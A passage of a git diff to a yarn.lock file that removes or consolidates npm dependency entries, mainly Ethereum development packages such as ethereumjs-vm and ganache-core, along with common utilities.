"https://registry.npmjs.org/ethereumjs-common/-/ethereumjs-common-1.5.0.tgz" - integrity sha512-SZOjgK1356hIY7MRj3/ma5qtfr/4B5BL+G4rP/XSMYr2z1H5el4RX5GReYCKmQmYI/nSBmRnwrZ17IfHuG0viQ== - -ethereumjs-common@^1.1.0, ethereumjs-common@^1.3.2, ethereumjs-common@^1.5.0: - version "1.5.2" - resolved "https://registry.npmjs.org/ethereumjs-common/-/ethereumjs-common-1.5.2.tgz" - integrity sha512-hTfZjwGX52GS2jcVO6E2sx4YuFnf0Fhp5ylo4pEPhEffNln7vS59Hr5sLnp3/QCazFLluuBZ+FZ6J5HTp0EqCA== - -ethereumjs-tx@2.1.2, ethereumjs-tx@^2.1.1, ethereumjs-tx@^2.1.2: - version "2.1.2" - resolved "https://registry.npmjs.org/ethereumjs-tx/-/ethereumjs-tx-2.1.2.tgz" - integrity sha512-zZEK1onCeiORb0wyCXUvg94Ve5It/K6GD1K+26KfFKodiBiS6d9lfCXlUKGBBdQ+bv7Day+JK0tj1K+BeNFRAw== - dependencies: - ethereumjs-common "^1.5.0" - ethereumjs-util "^6.0.0" - -ethereumjs-tx@^1.1.1, ethereumjs-tx@^1.2.0, ethereumjs-tx@^1.2.2, ethereumjs-tx@^1.3.3: - version "1.3.7" - resolved "https://registry.npmjs.org/ethereumjs-tx/-/ethereumjs-tx-1.3.7.tgz" - integrity sha512-wvLMxzt1RPhAQ9Yi3/HKZTn0FZYpnsmQdbKYfUUpi4j1SEIcbkd9tndVjcPrufY3V7j2IebOpC00Zp2P/Ay2kA== - dependencies: - ethereum-common "^0.0.18" - ethereumjs-util "^5.0.0" - -ethereumjs-util@6.2.1, ethereumjs-util@^6.0.0, ethereumjs-util@^6.1.0, ethereumjs-util@^6.2.0, ethereumjs-util@^6.2.1: - version "6.2.1" - resolved "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz" - integrity sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw== - dependencies: - "@types/bn.js" "^4.11.3" - bn.js "^4.11.0" - create-hash "^1.1.2" - elliptic "^6.5.2" - ethereum-cryptography "^0.1.3" - ethjs-util "0.1.6" - rlp "^2.2.3" - -ethereumjs-util@^4.3.0: - version "4.5.1" - resolved "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-4.5.1.tgz" - integrity sha512-WrckOZ7uBnei4+AKimpuF1B3Fv25OmoRgmYCpGsP7u8PFxXAmAgiJSYT2kRWnt6fVIlKaQlZvuwXp7PIrmn3/w== - dependencies: - bn.js "^4.8.0" - create-hash "^1.1.2" - elliptic "^6.5.2" - ethereum-cryptography "^0.1.3" - rlp "^2.0.0" - -ethereumjs-util@^5.0.0, ethereumjs-util@^5.0.1, ethereumjs-util@^5.1.1, ethereumjs-util@^5.1.2, ethereumjs-util@^5.1.3, ethereumjs-util@^5.1.5, ethereumjs-util@^5.2.0: - version "5.2.1" - resolved "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-5.2.1.tgz" - integrity sha512-v3kT+7zdyCm1HIqWlLNrHGqHGLpGYIhjeHxQjnDXjLT2FyGJDsd3LWMYUo7pAFRrk86CR3nUJfhC81CCoJNNGQ== - dependencies: - bn.js "^4.11.0" - create-hash "^1.1.2" - elliptic "^6.5.2" - ethereum-cryptography "^0.1.3" - ethjs-util "^0.1.3" - rlp "^2.0.0" - safe-buffer "^5.1.1" - -ethereumjs-util@^7.0.10, ethereumjs-util@^7.0.2, ethereumjs-util@^7.0.3, ethereumjs-util@^7.1.0, ethereumjs-util@^7.1.1, ethereumjs-util@^7.1.2, ethereumjs-util@^7.1.4, ethereumjs-util@^7.1.5: +ethereumjs-util@^7.0.10, ethereumjs-util@^7.1.0, ethereumjs-util@^7.1.1, ethereumjs-util@^7.1.2, ethereumjs-util@^7.1.5: version "7.1.5" resolved "https://registry.npmjs.org/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz" integrity sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg== @@ -8041,60 +6029,7 @@ ethereumjs-util@^7.0.10, ethereumjs-util@^7.0.2, ethereumjs-util@^7.0.3, ethereu ethereum-cryptography "^0.1.3" rlp "^2.2.4" -ethereumjs-vm@4.2.0: - version "4.2.0" - resolved "https://registry.npmjs.org/ethereumjs-vm/-/ethereumjs-vm-4.2.0.tgz" - integrity sha512-X6qqZbsY33p5FTuZqCnQ4+lo957iUJMM6Mpa6bL4UW0dxM6WmDSHuI4j/zOp1E2TDKImBGCJA9QPfc08PaNubA== - dependencies: - async "^2.1.2" - async-eventemitter "^0.2.2" - core-js-pure "^3.0.1" - ethereumjs-account "^3.0.0" - ethereumjs-block "^2.2.2" - ethereumjs-blockchain "^4.0.3" - ethereumjs-common "^1.5.0" - ethereumjs-tx "^2.1.2" - ethereumjs-util "^6.2.0" - fake-merkle-patricia-tree "^1.0.1" - functional-red-black-tree "^1.0.1" - merkle-patricia-tree "^2.3.2" - rustbn.js "~0.2.0" - safe-buffer "^5.1.1" - util.promisify "^1.0.0" - -ethereumjs-vm@^2.1.0, ethereumjs-vm@^2.3.4, ethereumjs-vm@^2.6.0: - version "2.6.0" - resolved "https://registry.npmjs.org/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz" - integrity sha512-r/XIUik/ynGbxS3y+mvGnbOKnuLo40V5Mj1J25+HEO63aWYREIqvWeRO/hnROlMBE5WoniQmPmhiaN0ctiHaXw== - dependencies: - async "^2.1.2" - async-eventemitter "^0.2.2" - ethereumjs-account "^2.0.3" - ethereumjs-block "~2.2.0" - ethereumjs-common "^1.1.0" - ethereumjs-util "^6.0.0" - fake-merkle-patricia-tree "^1.0.1" - functional-red-black-tree "^1.0.1" - merkle-patricia-tree "^2.3.2" - rustbn.js "~0.2.0" - safe-buffer "^5.1.1" - -ethereumjs-wallet@0.6.5: - version "0.6.5" - resolved "https://registry.npmjs.org/ethereumjs-wallet/-/ethereumjs-wallet-0.6.5.tgz" - integrity sha512-MDwjwB9VQVnpp/Dc1XzA6J1a3wgHQ4hSvA1uWNatdpOrtCbPVuQSKSyRnjLvS0a+KKMw2pvQ9Ybqpb3+eW8oNA== - dependencies: - aes-js "^3.1.1" - bs58check "^2.1.2" - ethereum-cryptography "^0.1.3" - ethereumjs-util "^6.0.0" - randombytes "^2.0.6" - safe-buffer "^5.1.2" - scryptsy "^1.2.1" - utf8 "^3.0.0" - uuid "^3.3.2" - -ethers@^4.0.0-beta.1, ethers@^4.0.32, ethers@^4.0.40: +ethers@^4.0.32: version "4.0.49" resolved "https://registry.npmjs.org/ethers/-/ethers-4.0.49.tgz" integrity sha512-kPltTvWiyu+OktYy1IStSO16i2e7cS9D9OxZ81q2UUaiNPVrm/RTcbxamCXF9VUSKzJIdJV68EAIhTEVBalRWg== @@ -8109,7 +6044,7 @@ ethers@^4.0.0-beta.1, ethers@^4.0.32, ethers@^4.0.40: uuid "2.0.1" xmlhttprequest "1.8.0" -ethers@^5.0.1, ethers@^5.0.13, ethers@^5.0.2, ethers@^5.5.2: +ethers@^5.0.13: version "5.7.2" resolved "https://registry.npmjs.org/ethers/-/ethers-5.7.2.tgz" integrity sha512-wswUsmWo1aOK8rR7DIKiWSw9DbLWe6x98Jrn8wcTflTVvaXhAMaB5zGAXy0GYQEQp9iO1iSHWVyARQm11zUtyg== @@ -8145,15 +6080,6 @@ ethers@^5.0.1, ethers@^5.0.13, ethers@^5.0.2, ethers@^5.5.2: "@ethersproject/web" "5.7.1" "@ethersproject/wordlists" "5.7.0" -ethjs-abi@^0.2.1: - version "0.2.1" - resolved "https://registry.npmjs.org/ethjs-abi/-/ethjs-abi-0.2.1.tgz" - integrity sha512-g2AULSDYI6nEJyJaEVEXtTimRY2aPC2fi7ddSy0W+LXvEVL8Fe1y76o43ecbgdUKwZD+xsmEgX1yJr1Ia3r1IA== - dependencies: - bn.js "4.11.6" - js-sha3 "0.5.5" - number-to-bn "1.7.0" - ethjs-unit@0.1.6: version "0.1.6" resolved "https://registry.npmjs.org/ethjs-unit/-/ethjs-unit-0.1.6.tgz" @@ -8162,19 +6088,6 @@ ethjs-unit@0.1.6: bn.js "4.11.6" number-to-bn "1.7.0" -ethjs-util@0.1.6, ethjs-util@^0.1.3, ethjs-util@^0.1.6: - version "0.1.6" - resolved "https://registry.npmjs.org/ethjs-util/-/ethjs-util-0.1.6.tgz" - integrity sha512-CUnVOQq7gSpDHZVVrQW8ExxUETWrnrvXYvYz55wOU8Uj4VCgw56XC2B/fVqQN+f7gmrnRHSLVnFAwsCuNwji8w== - dependencies: - is-hex-prefixed "1.0.0" - strip-hex-prefix "1.0.0" - -event-target-shim@^5.0.0: - version "5.0.1" - resolved "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz" - integrity sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ== - eventemitter3@4.0.4: version "4.0.4" resolved "https://registry.npmjs.org/eventemitter3/-/eventemitter3-4.0.4.tgz" @@ -8354,18 +6267,6 @@ extsprintf@^1.2.0: resolved "https://registry.npmjs.org/extsprintf/-/extsprintf-1.4.1.tgz" integrity sha512-Wrk35e8ydCKDj/ArClo1VrPVmN8zph5V4AtHwIuHhvMXsKf73UT3BOD+azBIW+3wOJ4FhEH7zyaJCFvChjYvMA== -eyes@0.1.x: - version "0.1.8" - resolved "https://registry.npmjs.org/eyes/-/eyes-0.1.8.tgz" - integrity sha512-GipyPsXO1anza0AOZdy69Im7hGFCNB7Y/NGjDlZGJ3GJJLtwNSb2vrzYrTYJRrRloVx7pl+bhUaTB8yiccPvFQ== - -fake-merkle-patricia-tree@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/fake-merkle-patricia-tree/-/fake-merkle-patricia-tree-1.0.1.tgz" - integrity sha512-Tgq37lkc9pUIgIKw5uitNUKcgcYL3R6JvXtKQbOf/ZSavXbidsksgp/pAY6p//uhw0I4yoMsvTSovvVIsk/qxA== - dependencies: - checkpoint-store "^1.1.0" - fast-check@3.1.1: version "3.1.1" resolved "https://registry.npmjs.org/fast-check/-/fast-check-3.1.1.tgz" @@ -8399,11 +6300,6 @@ fast-levenshtein@^2.0.6, fast-levenshtein@~2.0.6: resolved "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz" integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw== -fast-safe-stringify@^2.0.6: - version "2.1.1" - resolved "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz" - integrity sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA== - fastq@^1.6.0: version "1.13.0" resolved "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz" @@ -8425,13 +6321,6 @@ fb-watchman@^2.0.0: dependencies: bser "2.1.1" -fetch-ponyfill@^4.0.0: - version "4.1.0" - resolved "https://registry.npmjs.org/fetch-ponyfill/-/fetch-ponyfill-4.1.0.tgz" - integrity sha512-knK9sGskIg2T7OnYLdZ2hZXn0CtDrAIBxYQLpmEf0BqfdWnwmM1weccUl5+4EdA44tzNSFAuxITPbXtPehUB3g== - dependencies: - node-fetch "~1.7.1" - figgy-pudding@^3.5.1: version "3.5.2" resolved "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz" @@ -8510,21 +6399,6 @@ find-cache-dir@^3.3.1: make-dir "^3.0.2" pkg-dir "^4.1.0" -find-replace@^1.0.3: - version "1.0.3" - resolved "https://registry.npmjs.org/find-replace/-/find-replace-1.0.3.tgz" - integrity sha512-KrUnjzDCD9426YnCP56zGYy/eieTnhtK6Vn++j+JJzmlsWWwEkDnsyVF575spT6HJ6Ow9tlbT3TQTDsa+O4UWA== - dependencies: - array-back "^1.0.4" - test-value "^2.1.0" - -find-up@3.0.0, find-up@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz" - integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg== - dependencies: - locate-path "^3.0.0" - find-up@4.1.0, find-up@^4.0.0, find-up@^4.1.0: version "4.1.0" resolved "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz" @@ -8533,14 +6407,6 @@ find-up@4.1.0, find-up@^4.0.0, find-up@^4.1.0: locate-path "^5.0.0" path-exists "^4.0.0" -find-up@5.0.0: - version "5.0.0" - resolved "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz" - integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng== - dependencies: - locate-path "^6.0.0" - path-exists "^4.0.0" - find-up@^1.0.0: version "1.1.2" resolved "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz" @@ -8549,27 +6415,12 @@ find-up@^1.0.0: path-exists "^2.0.0" pinkie-promise "^2.0.0" -find-up@^2.1.0: - version "2.1.0" - resolved "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz" - integrity sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ== - dependencies: - locate-path "^2.0.0" - -find-yarn-workspace-root@^1.2.1: - version "1.2.1" - resolved "https://registry.npmjs.org/find-yarn-workspace-root/-/find-yarn-workspace-root-1.2.1.tgz" - integrity sha512-dVtfb0WuQG+8Ag2uWkbG79hOUzEsRrhBzgfn86g2sJPkzmcpGdghbNTfUKGTxymFrY/tLIodDzLoW9nOJ4FY8Q== - dependencies: - fs-extra "^4.0.3" - micromatch "^3.1.4" - -find-yarn-workspace-root@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/find-yarn-workspace-root/-/find-yarn-workspace-root-2.0.0.tgz" - integrity sha512-1IMnbjt4KzsQfnhnzNd8wUEgXZ44IzZaZmnLYx7D5FZlaHt2gW20Cri8Q+E/t5tIj4+epTBub+2Zxu/vNILzqQ== +find-up@^3.0.0: + version "3.0.0" + resolved "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz" + integrity sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg== dependencies: - micromatch "^4.0.2" + locate-path "^3.0.0" flat-cache@^3.0.4: version "3.0.4" @@ -8579,18 +6430,6 @@ flat-cache@^3.0.4: flatted "^3.1.0" rimraf "^3.0.2" -flat@^4.1.0: - version "4.1.1" - resolved "https://registry.npmjs.org/flat/-/flat-4.1.1.tgz" - integrity sha512-FmTtBsHskrU6FJ2VxCnsDb84wu9zhmO3cUX2kGFb5tuwhfXxGciiT0oRY+cck35QmG+NmGh5eLz6lLCpWTqwpA== - dependencies: - is-buffer "~2.0.3" - -flat@^5.0.2: - version "5.0.2" - resolved "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz" - integrity sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ== - flatted@^3.1.0: version "3.2.7" resolved "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz" @@ -8601,11 +6440,6 @@ flatten@^1.0.2: resolved "https://registry.npmjs.org/flatten/-/flatten-1.0.3.tgz" integrity sha512-dVsPA/UwQ8+2uoFe5GHtiBMu48dWLTdsuEd7CKGlZlD78r1TTWBvDuFaFGKCo/ZfEr95Uk56vZoX86OsHkUeIg== -flow-stoplight@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/flow-stoplight/-/flow-stoplight-1.0.0.tgz" - integrity sha512-rDjbZUKpN8OYhB0IE/vY/I8UWO/602IIJEU/76Tv4LvYnwHCk0BCsvz4eRr9n+FQcri7L5cyaXOo0+/Kh4HisA== - flush-write-stream@^1.0.0: version "1.1.1" resolved "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz" @@ -8614,12 +6448,12 @@ flush-write-stream@^1.0.0: inherits "^2.0.3" readable-stream "^2.3.6" -follow-redirects@^1.0.0, follow-redirects@^1.12.1, follow-redirects@^1.14.8, follow-redirects@^1.15.0: +follow-redirects@^1.0.0, follow-redirects@^1.14.8, follow-redirects@^1.15.0: version "1.15.2" resolved "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz" integrity sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA== -for-each@^0.3.3, for-each@~0.3.3: +for-each@^0.3.3: version "0.3.3" resolved "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz" integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw== @@ -8654,15 +6488,6 @@ form-data-encoder@1.7.1: resolved "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz" integrity sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg== -form-data@^2.2.0: - version "2.5.1" - resolved "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz" - integrity sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA== - dependencies: - asynckit "^0.4.0" - combined-stream "^1.0.6" - mime-types "^2.1.12" - form-data@^3.0.0: version "3.0.1" resolved "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz" @@ -8695,16 +6520,6 @@ forwarded@0.2.0: resolved "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz" integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow== -fp-ts@1.19.3: - version "1.19.3" - resolved "https://registry.npmjs.org/fp-ts/-/fp-ts-1.19.3.tgz" - integrity sha512-H5KQDspykdHuztLTg+ajGN0Z2qUjcEf3Ybxc6hLt0k7/zPkn29XnKnxlBPyW2XIddWrGaJBzBl4VLYOtk39yZg== - -fp-ts@^1.0.0: - version "1.19.5" - resolved "https://registry.npmjs.org/fp-ts/-/fp-ts-1.19.5.tgz" - integrity sha512-wDNqTimnzs8QqpldiId9OavWK2NptormjXnRJTQecNjzwfyp6P/8s/zG8e4h3ja3oqkKaY72UlTjQYt/1yXf9A== - fragment-cache@^0.2.1: version "0.2.1" resolved "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz" @@ -8736,7 +6551,7 @@ fs-extra@^0.30.0: path-is-absolute "^1.0.0" rimraf "^2.2.8" -fs-extra@^4.0.2, fs-extra@^4.0.3: +fs-extra@^4.0.2: version "4.0.3" resolved "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz" integrity sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg== @@ -8745,7 +6560,7 @@ fs-extra@^4.0.2, fs-extra@^4.0.3: jsonfile "^4.0.0" universalify "^0.1.0" -fs-extra@^7.0.0, fs-extra@^7.0.1: +fs-extra@^7.0.0: version "7.0.1" resolved "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz" integrity sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw== @@ -8787,11 +6602,6 @@ fs-minipass@^2.0.0: dependencies: minipass "^3.0.0" -fs-readdir-recursive@^1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz" - integrity sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA== - fs-write-stream-atomic@^1.0.8: version "1.0.10" resolved "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz" @@ -8820,11 +6630,6 @@ fsevents@^2.1.2, fsevents@^2.1.3, fsevents@~2.3.2: resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a" integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA== -fsevents@~2.1.1: - version "2.1.3" - resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.1.3.tgz#fb738703ae8d2f9fe900c33836ddebee8b97f23e" - integrity sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ== - function-bind@^1.1.1: version "1.1.1" resolved "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz" @@ -8840,7 +6645,7 @@ function.prototype.name@^1.1.5: es-abstract "^1.19.0" functions-have-names "^1.2.2" -functional-red-black-tree@^1.0.1, functional-red-black-tree@~1.0.1: +functional-red-black-tree@^1.0.1: version "1.0.1" resolved "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz" integrity sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g== @@ -8850,43 +6655,6 @@ functions-have-names@^1.2.2: resolved "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz" integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ== -ganache-core@^2.13.2: - version "2.13.2" - resolved "https://registry.npmjs.org/ganache-core/-/ganache-core-2.13.2.tgz" - integrity sha512-tIF5cR+ANQz0+3pHWxHjIwHqFXcVo0Mb+kcsNhglNFALcYo49aQpnS9dqHartqPfMFjiHh/qFoD3mYK0d/qGgw== - dependencies: - abstract-leveldown "3.0.0" - async "2.6.2" - bip39 "2.5.0" - cachedown "1.0.0" - clone "2.1.2" - debug "3.2.6" - encoding-down "5.0.4" - eth-sig-util "3.0.0" - ethereumjs-abi "0.6.8" - ethereumjs-account "3.0.0" - ethereumjs-block "2.2.2" - ethereumjs-common "1.5.0" - ethereumjs-tx "2.1.2" - ethereumjs-util "6.2.1" - ethereumjs-vm "4.2.0" - heap "0.2.6" - keccak "3.0.1" - level-sublevel "6.6.4" - levelup "3.1.1" - lodash "4.17.20" - lru-cache "5.1.1" - merkle-patricia-tree "3.0.0" - patch-package "6.2.2" - seedrandom "3.0.1" - source-map-support "0.5.12" - tmp "0.1.0" - web3-provider-engine "14.2.1" - websocket "1.0.32" - optionalDependencies: - ethereumjs-wallet "0.6.5" - web3 "1.2.11" - gensync@^1.0.0-beta.1, gensync@^1.0.0-beta.2: version "1.0.0-beta.2" resolved "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz" @@ -8897,16 +6665,11 @@ get-caller-file@^1.0.1: resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz" integrity sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w== -get-caller-file@^2.0.1, get-caller-file@^2.0.5: +get-caller-file@^2.0.1: version "2.0.5" resolved "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz" integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg== -get-func-name@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz" - integrity sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig== - get-intrinsic@^1.0.2, get-intrinsic@^1.1.0, get-intrinsic@^1.1.1, get-intrinsic@^1.1.3: version "1.1.3" resolved "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.3.tgz" @@ -8926,11 +6689,6 @@ get-package-type@^0.1.0: resolved "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz" integrity sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q== -get-port@^3.1.0: - version "3.2.0" - resolved "https://registry.npmjs.org/get-port/-/get-port-3.2.0.tgz" - integrity sha512-x5UJKlgeUiNT8nyo/AcnwLnZuZNcSjSw0kogRB+Whd1fjjFq4B1hySFxSFWWSn4mIBzg3sRNUDFYc4g5gjPoLg== - get-stream@^4.0.0, get-stream@^4.1.0: version "4.1.0" resolved "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz" @@ -8978,38 +6736,14 @@ glob-parent@^3.1.0: is-glob "^3.1.0" path-dirname "^1.0.0" -glob-parent@^5.1.2, glob-parent@~5.1.0, glob-parent@~5.1.2: +glob-parent@^5.1.2, glob-parent@~5.1.2: version "5.1.2" resolved "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz" integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow== dependencies: is-glob "^4.0.1" -glob@7.1.3: - version "7.1.3" - resolved "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz" - integrity sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ== - dependencies: - fs.realpath "^1.0.0" - inflight "^1.0.4" - inherits "2" - minimatch "^3.0.4" - once "^1.3.0" - path-is-absolute "^1.0.0" - -glob@7.2.0: - version "7.2.0" - resolved "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz" - integrity sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q== - dependencies: - fs.realpath "^1.0.0" - inflight "^1.0.4" - inherits "2" - minimatch "^3.0.4" - once "^1.3.0" - path-is-absolute "^1.0.0" - -glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6, glob@~7.2.3: +glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@^7.1.6: version "7.2.3" resolved "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz" integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== @@ -9057,11 +6791,6 @@ globals@^13.6.0, globals@^13.9.0: dependencies: type-fest "^0.20.2" -globals@^9.18.0: - version "9.18.0" - resolved "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz" - integrity sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ== - globby@11.0.1: version "11.0.1" resolved "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz" @@ -9162,11 +6891,6 @@ graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6 resolved "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz" integrity sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA== -growl@1.10.5: - version "1.10.5" - resolved "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz" - integrity sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA== - growly@^1.3.0: version "1.3.0" resolved "https://registry.npmjs.org/growly/-/growly-1.3.0.tgz" @@ -9198,83 +6922,11 @@ har-validator@~5.1.3: ajv "^6.12.3" har-schema "^2.0.0" -hardhat-gas-reporter@^1.0.9: - version "1.0.9" - resolved "https://registry.npmjs.org/hardhat-gas-reporter/-/hardhat-gas-reporter-1.0.9.tgz" - integrity 